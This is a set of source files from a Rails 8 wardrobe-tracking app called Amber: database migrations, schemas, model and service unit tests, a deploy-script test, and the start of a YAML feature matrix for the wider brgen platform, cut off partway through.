`rails/amber/db/migrate/20260504180357_create_active_storage_tables.active_storage.rb`\n```ruby\n# frozen_string_literal: true\n\n# This migration comes from active_storage (originally 20170806125915)\nclass CreateActiveStorageTables &lt; ActiveRecord::Migration[7.0]\n  def change\n    # Use Active Record's configured type for primary and foreign keys\n    primary_key_type, foreign_key_type = primary_and_foreign_key_types\n\n    create_table :active_storage_blobs, id: primary_key_type do |t|\n      t.string   :key,          null: false\n      t.string   :filename,     null: false\n      t.string   :content_type\n      t.text     :metadata\n      t.string   :service_name, null: false\n      t.bigint   :byte_size,    null: false\n      t.string   :checksum\n\n      if connection.supports_datetime_with_precision?\n        t.datetime :created_at, precision: 6, null: false\n      else\n        t.datetime :created_at, null: false\n      end\n\n      t.index [ :key ], unique: true\n    end\n\n    create_table :active_storage_attachments, id: primary_key_type do |t|\n      t.string     :name,     null: false\n      t.references :record,   null: false, polymorphic: true, index: false, type: foreign_key_type\n      t.references :blob,     null: false, type: foreign_key_type\n\n      if connection.supports_datetime_with_precision?\n        t.datetime :created_at, precision: 6, null: false\n      else\n        t.datetime :created_at, null: false\n      end\n\n      t.index [ :record_type, :record_id, :name, :blob_id ], name: :index_active_storage_attachments_uniqueness, unique: true\n      t.foreign_key :active_storage_blobs, column: :blob_id\n    end\n\n    create_table :active_storage_variant_records, id: primary_key_type do |t|\n      t.belongs_to :blob, null: false, index: false, type: foreign_key_type\n      t.string :variation_digest, null: false\n\n      t.index [ :blob_id, :variation_digest ], name: :index_active_storage_variant_records_uniqueness, unique: true\n      t.foreign_key :active_storage_blobs, column: :blob_id\n    end\n  end\n\n  private\n    def primary_and_foreign_key_types\n      config = Rails.configuration.generators\n      setting = config.options[config.orm][:primary_key_type]\n      primary_key_type = setting || :primary_key\n      foreign_key_type = setting || :bigint\n      [ primary_key_type, foreign_key_type ]\n    end\nend\n```\n\n## `rails/amber/db/migrate/20260504180401_create_items.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateItems &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :items do |t|\n      t.string :title\n      t.string :category\n      t.string :color\n      t.string :size\n      t.string :material\n      t.string :brand\n      t.decimal :price\n      t.integer :times_worn\n      t.date :purchase_date\n      t.boolean :spark_joy\n      t.references :user, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260504180405_create_outfit_items.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateOutfitItems &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :outfit_items do |t|\n      t.references :outfit, null: false, foreign_key: true\n      t.references :item, null: false, foreign_key: true\n      t.integer :position\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260504180406_create_planned_outfits.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePlannedOutfits &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :planned_outfits do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :outfit, null: false, foreign_key: true\n      t.date :planned_date\n      t.text :notes\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260504180410_add_extended_fields_to_items.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddExtendedFieldsToItems &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_column :items, :mood_effect, :string\n    add_column :items, :life_phase, :string\n    add_column :items, :occasion_tags, :string\n    add_column :items, :season, :string\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260504205505_create_outfits.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateOutfits &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :outfits do |t|\n      t.string :name\n      t.text :description\n      t.string :category\n      t.string :season\n      t.string :occasion\n      t.integer :likes_count\n      t.references :user, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260504211952_create_follows.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateFollows &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :follows do |t|\n      t.references :follower, null: false, foreign_key: true\n      t.references :followee, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260504212306_create_posts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePosts &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :posts do |t|\n      t.text :body\n      t.references :user, null: false, foreign_key: true\n      t.references :outfit, null: false, foreign_key: true\n      t.references :item, null: false, foreign_key: true\n      t.integer :likes_count\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260515000100_add_amber_identity_and_intelligence.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddAmberIdentityAndIntelligence &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :profiles do |t|\n      t.references :user, null: false, foreign_key: true, index: { unique: true }\n      t.string :display_name\n      t.text :bio\n      t.string :location\n      t.string :visibility, null: false, default: \"private\"\n      t.json :style_summary\n      t.timestamps\n    end\n\n    create_table :privacy_settings do |t|\n      t.references :user, null: false, foreign_key: true, index: { unique: true }\n      t.string :wardrobe_visibility, null: false, default: \"private\"\n      t.string :analytics_visibility, null: false, default: \"private\"\n      t.boolean :allow_ai_analysis, null: false, default: true\n      t.boolean :allow_creator_remix, null: false, default: false\n      t.timestamps\n    end\n\n    create_table :creator_profiles do |t|\n      t.references :user, null: false, foreign_key: true, index: { unique: true }\n      t.string :handle, null: false\n      t.string :display_name, null: false\n      t.text :bio\n      t.boolean :public, null: false, default: false\n      t.json :links\n      t.timestamps\n    end\n    add_index :creator_profiles, :handle, unique: true\n\n    create_table :creator_wardrobe_items do |t|\n      t.references :creator_profile, null: false, foreign_key: true\n      t.references :item, null: false, foreign_key: true\n      t.string :caption\n      t.integer :position, null: false, default: 0\n      t.timestamps\n    end\n    add_index :creator_wardrobe_items, %i[creator_profile_id item_id], unique: true\n\n    create_table :garment_embeddings do |t|\n      t.references :item, null: false, foreign_key: true, index: { unique: true }\n      t.string :provider, null: false\n      t.string :model, null: false\n      t.integer :dimensions\n      t.json :vector\n      t.json :metadata\n      t.timestamps\n    end\n\n    create_table :wear_logs do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :item, null: false, foreign_key: true\n      t.references :outfit, foreign_key: true\n      t.date :worn_on, null: false\n      t.string :context\n      t.json :metadata\n      t.timestamps\n    end\n    add_index :wear_logs, :worn_on\n\n    create_table :sustainability_metrics do |t|\n      t.references :item, null: false, foreign_key: true, index: { unique: true }\n      t.decimal :resale_value, precision: 10, scale: 2\n      t.decimal :repair_cost_estimate, precision: 10, scale: 2\n      t.decimal :environmental_score, precision: 8, scale: 2\n      t.json :metadata\n      t.timestamps\n    end\n\n    create_table :affiliate_links do |t|\n      t.references :item, null: false, foreign_key: true\n      t.string :merchant, null: false\n      t.string :url, null: false\n      t.decimal :commission_rate, precision: 8, scale: 4\n      t.json :metadata\n      t.timestamps\n    end\n\n    create_table :style_preferences do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :kind, null: false, default: \"aesthetic\"\n      t.string :name, null: false\n      t.decimal :weight, precision: 8, scale: 4, null: false, default: 1.0\n      t.json :metadata\n      t.timestamps\n    end\n    add_index :style_preferences, %i[user_id kind name], unique: true\n\n    create_table :recommendations do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :item, foreign_key: true\n      t.references :outfit, foreign_key: true\n      t.string :kind, null: false\n      t.text :reason, null: false\n      t.decimal :score, precision: 8, scale: 4\n      t.datetime :dismissed_at\n      t.json :metadata\n      t.timestamps\n    end\n    add_index :recommendations, %i[user_id kind dismissed_at]\n\n    create_table :packing_lists do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :name, null: false\n      t.string :destination\n      t.date :starts_on, null: false\n      t.date :ends_on, null: false\n      t.json :weather_context\n      t.timestamps\n    end\n\n    create_table :packing_list_items do |t|\n      t.references :packing_list, null: false, foreign_key: true\n      t.references :item, null: false, foreign_key: true\n      t.integer :quantity, null: false, default: 1\n      t.boolean :packed, null: false, default: false\n      t.timestamps\n    end\n    add_index :packing_list_items, %i[packing_list_id item_id], unique: true\n\n    create_table :identity_verifications do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :kind, null: false, default: \"human\"\n      t.string :status, null: false, default: \"pending\"\n      t.string :reviewer\n      t.datetime :reviewed_at\n      t.json :metadata\n      t.timestamps\n    end\n\n    create_table :consent_events do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :purpose, null: false\n      t.string :decision, null: false\n      t.json :metadata\n      t.timestamps\n    end\n\n    add_column :items, :analysis_status, :string unless column_exists?(:items, :analysis_status)\n    add_column :items, :metadata, :json unless column_exists?(:items, :metadata)\n  end\nend\n```\n\n## `rails/amber/db/migrate/20260515000200_add_declutter_logic.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddDeclutterLogic &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_column :items, :lifecycle_state, :string, null: false, default: \"active\" unless column_exists?(:items, :lifecycle_state)\n    add_column :items, :last_worn_on, :date unless column_exists?(:items, :last_worn_on)\n\n    create_table :declutter_reviews do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :item, null: false, foreign_key: true\n      t.string :reason_kept\n      t.string :decision\n      t.text :notes\n      t.json :metadata\n      t.timestamps\n    end\n    add_index :declutter_reviews, %i[user_id item_id], unique: true\n\n    create_table :declutter_challenges do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :item, null: false, foreign_key: true\n      t.references :outfit, foreign_key: true\n      t.date :due_on, null: false\n      t.string :status, null: false, default: \"pending\"\n      t.datetime :completed_at\n      t.string :note\n      t.json :metadata\n      t.timestamps\n    end\n    add_index :declutter_challenges, %i[user_id status due_on]\n\n    create_table :declutter_outcomes do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :item, null: false, foreign_key: true\n      t.string :action, null: false\n      t.decimal :amount_recovered, precision: 10, scale: 2\n      t.text :notes\n      t.json :metadata\n      t.timestamps\n    end\n    add_index :declutter_outcomes, %i[user_id action created_at]\n  end\nend\n```\n\n## `rails/amber/db/queue_schema.rb`\n```ruby\n# frozen_string_literal: true\n\nActiveRecord::Schema[7.1].define(version: 1) do\n  create_table \"solid_queue_blocked_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.string \"queue_name\", null: false\n    t.integer \"priority\", default: 0, null: false\n    t.string \"concurrency_key\", null: false\n    t.datetime \"expires_at\", null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"concurrency_key\", \"priority\", \"job_id\" ], name: \"index_solid_queue_blocked_executions_for_release\"\n    t.index [ \"expires_at\", \"concurrency_key\" ], name: \"index_solid_queue_blocked_executions_for_maintenance\"\n    t.index [ \"job_id\" ], name: \"index_solid_queue_blocked_executions_on_job_id\", unique: true\n  end\n\n  create_table \"solid_queue_claimed_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.bigint \"process_id\"\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_claimed_executions_on_job_id\", unique: true\n    t.index [ \"process_id\", \"job_id\" ], name: \"index_solid_queue_claimed_executions_on_process_id_and_job_id\"\n  end\n\n  create_table \"solid_queue_failed_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.text \"error\"\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_failed_executions_on_job_id\", unique: true\n  end\n\n  create_table \"solid_queue_jobs\", force: :cascade do |t|\n    t.string \"queue_name\", null: false\n    t.string \"class_name\", null: false\n    t.text \"arguments\"\n    t.integer \"priority\", default: 0, null: false\n    t.string \"active_job_id\"\n    t.datetime \"scheduled_at\"\n    t.datetime \"finished_at\"\n    t.string \"concurrency_key\"\n    t.datetime \"created_at\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [ \"active_job_id\" ], name: \"index_solid_queue_jobs_on_active_job_id\"\n    t.index [ \"class_name\" ], name: \"index_solid_queue_jobs_on_class_name\"\n    t.index [ \"finished_at\" ], name: \"index_solid_queue_jobs_on_finished_at\"\n    t.index [ \"queue_name\", \"finished_at\" ], name: \"index_solid_queue_jobs_for_filtering\"\n    t.index [ \"scheduled_at\", \"finished_at\" ], name: \"index_solid_queue_jobs_for_alerting\"\n  end\n\n  create_table \"solid_queue_pauses\", force: :cascade do |t|\n    t.string \"queue_name\", null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"queue_name\" ], name: \"index_solid_queue_pauses_on_queue_name\", unique: true\n  end\n\n  create_table \"solid_queue_processes\", force: :cascade do |t|\n    t.string \"kind\", null: false\n    t.datetime \"last_heartbeat_at\", null: false\n    t.bigint \"supervisor_id\"\n    t.integer \"pid\", null: false\n    t.string \"hostname\"\n    t.text \"metadata\"\n    t.datetime \"created_at\", null: false\n    t.string \"name\", null: false\n    t.index [ \"last_heartbeat_at\" ], name: \"index_solid_queue_processes_on_last_heartbeat_at\"\n    t.index [ \"name\", \"supervisor_id\" ], name: \"index_solid_queue_processes_on_name_and_supervisor_id\", unique: true\n    t.index [ \"supervisor_id\" ], name: \"index_solid_queue_processes_on_supervisor_id\"\n  end\n\n  create_table \"solid_queue_ready_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.string \"queue_name\", null: false\n    t.integer \"priority\", default: 0, null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_ready_executions_on_job_id\", unique: true\n    t.index [ \"priority\", \"job_id\" ], name: \"index_solid_queue_poll_all\"\n    t.index [ \"queue_name\", \"priority\", \"job_id\" ], name: \"index_solid_queue_poll_by_queue\"\n  end\n\n  create_table \"solid_queue_recurring_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.string \"task_key\", null: false\n    t.datetime \"run_at\", null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_recurring_executions_on_job_id\", unique: true\n    t.index [ \"task_key\", \"run_at\" ], name: \"index_solid_queue_recurring_executions_on_task_key_and_run_at\", unique: true\n  end\n\n  create_table \"solid_queue_recurring_tasks\", force: :cascade do |t|\n    t.string \"key\", null: false\n    t.string \"schedule\", null: false\n    t.string \"command\", limit: 2048\n    t.string \"class_name\"\n    t.text \"arguments\"\n    t.string \"queue_name\"\n    t.integer \"priority\", default: 0\n    t.boolean \"static\", default: true, null: false\n    t.text \"description\"\n    t.datetime \"created_at\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [ \"key\" ], name: \"index_solid_queue_recurring_tasks_on_key\", unique: true\n    t.index [ \"static\" ], name: \"index_solid_queue_recurring_tasks_on_static\"\n  end\n\n  create_table \"solid_queue_scheduled_executions\", force: :cascade do |t|\n    t.bigint \"job_id\", null: false\n    t.string \"queue_name\", null: false\n    t.integer \"priority\", default: 0, null: false\n    t.datetime \"scheduled_at\", null: false\n    t.datetime \"created_at\", null: false\n    t.index [ \"job_id\" ], name: \"index_solid_queue_scheduled_executions_on_job_id\", unique: true\n    t.index [ \"scheduled_at\", \"priority\", \"job_id\" ], name: \"index_solid_queue_dispatch_all\"\n  end\n\n  create_table \"solid_queue_semaphores\", force: :cascade do |t|\n    t.string \"key\", null: false\n    t.integer \"value\", default: 1, null: false\n    t.datetime \"expires_at\", null: false\n    t.datetime \"created_at\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [ \"expires_at\" ], name: \"index_solid_queue_semaphores_on_expires_at\"\n    t.index [ \"key\", \"value\" ], name: \"index_solid_queue_semaphores_on_key_and_value\"\n    t.index [ \"key\" ], name: \"index_solid_queue_semaphores_on_key\", unique: true\n  end\n\n  add_foreign_key \"solid_queue_blocked_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_claimed_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_failed_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_ready_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_recurring_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\n  add_foreign_key \"solid_queue_scheduled_executions\", \"solid_queue_jobs\", column: \"job_id\", on_delete: :cascade\nend\n```\n\n## `rails/amber/db/schema.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file is auto-generated from the current state of the database. Instead\n# of editing this file, please use the migrations feature of Active Record to\n# incrementally modify your database, and then regenerate this schema definition.\n#\n# This file is the source Rails uses to define your schema when running `bin/rails\n# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to\n# be faster and is potentially less error prone than running all of your\n# migrations from scratch. Old migrations may fail to apply correctly if those\n# migrations use external dependencies or application code.\n#\n# It's strongly recommended that you check this file into your version control system.\n\nActiveRecord::Schema[8.1].define(version: 2026_05_04_180410) do\n  create_table \"active_storage_attachments\", force: :cascade do |t|\n    t.bigint \"blob_id\", null: false\n    t.datetime \"created_at\", null: false\n    t.string \"name\", null: false\n    t.bigint \"record_id\", null: false\n    t.string \"record_type\", null: false\n    t.index [\"blob_id\"], name: \"index_active_storage_attachments_on_blob_id\"\n    t.index [\"record_type\", \"record_id\", \"name\", \"blob_id\"], name: \"index_active_storage_attachments_uniqueness\", unique: true\n  end\n\n  create_table \"active_storage_blobs\", force: :cascade do |t|\n    t.bigint \"byte_size\", null: false\n    t.string \"checksum\"\n    t.string \"content_type\"\n    t.datetime \"created_at\", null: false\n    t.string \"filename\", null: false\n    t.string \"key\", null: false\n    t.text \"metadata\"\n    t.string \"service_name\", null: false\n    t.index [\"key\"], name: \"index_active_storage_blobs_on_key\", unique: true\n  end\n\n  create_table \"active_storage_variant_records\", force: :cascade do |t|\n    t.bigint \"blob_id\", null: false\n    t.string \"variation_digest\", null: false\n    t.index [\"blob_id\", \"variation_digest\"], name: \"index_active_storage_variant_records_uniqueness\", unique: true\n  end\n\n  create_table \"items\", force: :cascade do |t|\n    t.string \"brand\"\n    t.string \"category\"\n    t.string \"color\"\n    t.datetime \"created_at\", null: false\n    t.string \"life_phase\"\n    t.string \"material\"\n    t.string \"mood_effect\"\n    t.string \"occasion_tags\"\n    t.decimal \"price\"\n    t.date \"purchase_date\"\n    t.string \"season\"\n    t.string \"size\"\n    t.boolean \"spark_joy\"\n    t.integer \"times_worn\"\n    t.string \"title\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"user_id\"], name: \"index_items_on_user_id\"\n  end\n\n  create_table \"outfit_items\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"item_id\", null: false\n    t.integer \"outfit_id\", null: false\n    t.integer \"position\"\n    t.datetime \"updated_at\", null: false\n    t.index [\"item_id\"], name: \"index_outfit_items_on_item_id\"\n    t.index [\"outfit_id\"], name: \"index_outfit_items_on_outfit_id\"\n  end\n\n  create_table \"planned_outfits\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.text \"notes\"\n    t.integer \"outfit_id\", null: false\n    t.date \"planned_date\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"outfit_id\"], name: \"index_planned_outfits_on_outfit_id\"\n    t.index [\"user_id\"], name: \"index_planned_outfits_on_user_id\"\n  end\n\n  create_table \"sessions\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"ip_address\"\n    t.datetime \"updated_at\", null: false\n    t.string \"user_agent\"\n    t.integer \"user_id\", null: false\n    t.index [\"user_id\"], name: \"index_sessions_on_user_id\"\n  end\n\n  create_table \"users\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"email_address\", null: false\n    t.string \"password_digest\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [\"email_address\"], name: \"index_users_on_email_address\", unique: true\n  end\n\n  add_foreign_key \"active_storage_attachments\", \"active_storage_blobs\", column: \"blob_id\"\n  add_foreign_key \"active_storage_variant_records\", \"active_storage_blobs\", column: \"blob_id\"\n  add_foreign_key \"items\", \"users\"\n  add_foreign_key \"outfit_items\", \"items\"\n  add_foreign_key \"outfit_items\", \"outfits\"\n  add_foreign_key \"planned_outfits\", \"outfits\"\n  add_foreign_key \"planned_outfits\", \"users\"\n  add_foreign_key \"sessions\", \"users\"\nend\n```\n\n## `rails/amber/db/seeds.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file should ensure the existence of records required to run the application in every environment (production,\n# development, test). The code here should be idempotent so that it can be executed at any point in every environment.\n# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).\n#\n# Example:\n#\n#   [\"Action\", \"Comedy\", \"Drama\", \"Horror\"].each do |genre_name|\n#     MovieGenre.find_or_create_by!(name: genre_name)\n#   end\n```\n\n## `rails/amber/test/deploy/amber_script_test.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass AmberScriptTest &lt; ActiveSupport::TestCase\n  SCRIPT = Rails.root.join(\"..\", \"amber.sh\")\n\n  test \"deploy script is configured for amber instead of a template placeholder\" do\n    content = SCRIPT.read\n\n    assert_includes content, \"APP_NAME=amber\"\n    refute_includes content, \"%APP_NAME%\"\n    assert_includes content, \"APP_DOMAIN=amber.brgen.no\"\n  end\n\n  test \"deploy script avoids self-copying an amber bundle cache\" do\n    content = SCRIPT.read\n\n    assert_includes content, \"SHARED_BUNDLE_CACHE\"\n    assert_includes content, \"${bundle_home} != /home/amber/.bundle\"\n  end\n\n  test \"deploy script uses modern bundler deployment configuration\" do\n    content = SCRIPT.read\n\n    assert_includes content, \"bundle config set --local deployment true\"\n    assert_includes content, \"bundle config set --local without 'development test'\"\n    refute_includes content, \"bundle install --deployment --without\"\n  end\nend\n```\n\n## `rails/amber/test/models/item_test.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass ItemTest &lt; ActiveSupport::TestCase\n  test \"cost_per_wear is nil until price and wears are usable\" do\n    item = Item.new(price: 100, times_worn: 0)\n    assert_nil item.cost_per_wear\n\n    item.times_worn = nil\n    assert_nil item.cost_per_wear\n  end\n\n  test \"cost_per_wear rounds to two decimals\" do\n    item = Item.new(price: 100, times_worn: 3)\n\n    assert_equal 33.33, item.cost_per_wear\n  end\n\n  test \"occasions normalizes comma-separated tags\" do\n    item = Item.new(occasion_tags: \"work, casual,travel\")\n\n    assert_equal [\"work\", \"casual\", \"travel\"], item.occasions\n  end\nend\n```\n\n## `rails/amber/test/services/wardrobe_ai_service_test.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass WardrobeAiServiceTest &lt; ActiveSupport::TestCase\n  class FakeClient\n    def initialize(content: nil, error: nil)\n      @content = content\n      @error = error\n    end\n\n    def chat(parameters:)\n      raise @error if @error\n\n      {\n        \"choices\" =&gt; [\n          { \"message\" =&gt; { \"content\" =&gt; @content } }\n        ]\n      }\n    end\n  end\n\n  test \"analyze_joy returns safe defaults when no API key is configured\" do\n    item = Item.new(title: \"Blue jacket\", category: \"Outerwear\")\n    service = WardrobeAiService.new(User.new)\n\n    result = service.analyze_joy(item)\n\n    assert_nil result[\"sparks_joy\"]\n    assert_equal \"Analysis unavailable\", result[\"reason\"]\n    assert_equal \"Trust your instincts\", result[\"suggestion\"]\n  end\n\n  test \"chat-backed methods tolerate invalid JSON\" do\n    item = Item.new(title: \"Blue jacket\", category: \"Outerwear\")\n    client = FakeClient.new(content: \"not json\")\n    service = WardrobeAiService.new(User.new, client: client)\n\n    result = service.analyze_joy(item)\n\n    assert_nil result[\"sparks_joy\"]\n    assert_equal \"Analysis unavailable\", result[\"reason\"]\n    assert_equal \"Trust your instincts\", result[\"suggestion\"]\n  end\n\n  test \"suggest_outfits returns an empty array when provider fails\" do\n    user = User.new\n    def user.items = Item.none\n\n    service = WardrobeAiService.new(user, client: FakeClient.new(error: StandardError.new(\"boom\")))\n\n    assert_equal [], service.suggest_outfits\n  end\nend\n```\n\n## `rails/amber/test/test_helper.rb`\n```ruby\n# frozen_string_literal: true\n\nENV[\"RAILS_ENV\"] ||= \"test\"\nrequire_relative \"../config/environment\"\nrequire \"rails/test_help\"\n\nmodule ActiveSupport\n  class TestCase\n    parallelize(workers: :number_of_processors)\n    fixtures :all\n  end\nend\n```\n\n## `rails/apps.yml`\n```yaml\n# Canonical deploy metadata and feature matrix for Rails apps under DEPLOY/rails.\n#\n# Status values:\n#   done    verified in pub4/DEPLOY/rails//app\n#   port    old implementation exists in anon987654321/pub repo \u2014 needs porting to Rails 8 / Hotwire / Falcon / SQLite\n#   missing no implementation found anywhere\n#   planned roadmap only, no code\n#\n# Cross-cutting dimensions tracked below:\n#   visual_inheritance, activity_graph, multimodal_photo, openbsd_readiness, llm_scan_ready\n#\n# Run `/scan deep DEPLOY/rails//app` through MASTER to verify `done` claims.\n# Sources: pub4 orbs/ extracted models, patch_tv_models.sh, brgen_seeds.rb,\n#          anon987654321/pub repo READMEs, brgen_app/ models,\n#          ~/pub4/tmp/pub_extract/ (generator scripts from __OLD_BACKUPS tgz archives).\n\napps:\n\n  brgen:\n    title: Brgen\n    domain: brgen.no\n    port: 38182\n    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, Solid Queue, Solid Cache, OpenBSD, relayd\n    stack_later: PostgreSQL where needed, city graph scaling, richer SNI/domain routing\n    deploy_script: DEPLOY/rails/brgen/brgen.sh\n    app_path: DEPLOY/rails/brgen/app\n    public: true\n    features:\n      core:\n        - { name: User model + auth,                                       status: done }\n        - { name: Community (slug, name, description),                     status: done }\n        - { name: Post (title, content, hot/fresh/top scopes),             status: done }\n        - { name: Comment (threaded, polymorphic, controversial scope),    status: done }\n        - { name: Vote / Like (polymorphic, karma side-effect),            status: done }\n        - { name: Hashtag + Tagging join,                                  status: done }\n        - { name: Mention model,                                           status: done }\n        - { name: Votable concern,                                         status: done }\n        - { name: Hotwire broadcasts_refreshes,                            status: done }\n        - { name: OmniAuth (Vipps / Google / Snapchat),                       status: port }\n        - { name: Reaction (polymorphic on posts/messages, ActionCable),    status: port }\n        - { name: Follow (self-join, no self-follows, notifications),       status: port }\n        - { name: Notification (like/follow/custom, mark_as_read),          status: port }\n        - { name: DirectMessage (conversation_between, mark_as_read),       status: port }\n        - { name: full-text search (SQLite FTS5),                           status: port }\n        - { name: reading_time_minutes on posts,                            status: port }\n        - { name: city-scoped subdomain routing,                           status: missing }\n        - { name: proximity / geolocation filtering,                       status: missing }\n        - { name: moderation tools,                                        status: missing }\n        - { name: media pipeline (Active Storage variants),                status: missing }\n        - { name: photo/multimodal upload (visitor allowed on public surface), status: done, notes: \"intentionally open for chat vision; see WIRING_NOTES.md\" }\n        - { name: unified Activity graph emission,                         status: port, notes: \"core to recommendations &amp; discovery across verticals; see brgen_CORE.md + WIRING_NOTES.md\" }\n        - { name: AI feed ranking,                                         status: planned }\n        - { name: creator monetization,                                    status: planned }\n        - { name: maps surface,                                            status: planned }\n      subapp_tv:\n        - { name: Tv::Channel (slug, avatar, banner, subscribers_count),   status: done, notes: patch_tv_models.sh }\n        - { name: Tv::Video (status machine, duration_formatted),          status: done }\n        - { name: Tv::Broadcast (stream_key, go_live!/end_live!),          status: done }\n        - { name: Tv::Subscription,                                        status: done }\n        - { name: Tv::ViewEvent,                                           status: done }\n        - { name: Tv::Show,                                                status: missing }\n        - { name: Tv::Episode,                                             status: missing }\n        - { name: video upload + Active Storage variants,                  status: missing }\n        - { name: live stream infrastructure,                              status: planned }\n        - { name: VideoPublished / BroadcastScheduled events,             status: missing }\n      subapp_dating:\n        - { name: Dating::Profile (user, bio, interests),                   status: port }\n        - { name: Dating::Like (user, liked_user),                          status: port }\n        - { name: Dating::Dislike (user, disliked_user),                    status: port }\n        - { name: Dating::Match (MatchmakingService \u2014 mutual likes),        status: port }\n        - { name: swipe UI (Turbo Streams, Stimulus),                       status: port }\n        - { name: city + radius filter,                                     status: missing }\n        - { name: match \u2192 messaging handoff,                                status: missing }\n        - { name: photos on profile,                                        status: missing }\n        - { name: premium memberships / boost purchases,                    status: planned }\n      subapp_marketplace:\n        notes: Old impl used Solidus \u2014 pub4 needs native Rails 8 models instead\n        items:\n        - { name: Marketplace::Product (name, description, price, image),   status: port }\n        - { name: Marketplace::Category,                                    status: port }\n        - { name: Marketplace::Review,                                      status: port }\n        - { name: schema.org Product microdata in views,                    status: port }\n        - { name: Marketplace::Order (state machine),                       status: missing }\n        - { name: buyer\u2013seller Chat,                                        status: missing }\n        - { name: geo-localized listings,                                   status: missing }\n        - { name: locale subdomain routing (markedsplass/markadur/\u2026),      status: missing }\n        - { name: FTS filtering,                                            status: port }\n        - { name: AI recommendations,                                       status: planned }\n      subapp_playlist:\n        - { name: Playlist::Set (name, description, user),                  status: port }\n        - { name: Playlist::Track (name, artist, audio_url, set),           status: port }\n        - { name: schema.org microdata in views,                            status: port }\n        - { name: Playlist::Listen,                                         status: missing }\n        - { name: embeddable player,                                        status: port }\n        - { name: Spotify/YouTube/SoundCloud import,                        status: missing }\n        - { name: city-scoped trending feed,                                status: missing }\n        - { name: expiration dates on tracks,                               status: missing }\n        - { name: creator donations / ad-free tier,                         status: planned }\n      subapp_takeaway:\n        - { name: Takeaway::Item (name, description, price),                status: port }\n        - { name: Takeaway::Order (user, status:string),                    status: port }\n        - { name: Restaurant model (geocoding),                             status: missing }\n        - { name: MenuItem availability state machine,                      status: missing }\n        - { name: Order full state machine (placed\u2192delivered),              status: missing }\n\n  amber:\n    title: Amber\n    domain: amber.brgen.no\n    port: 61352\n    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd\n    stack_later: 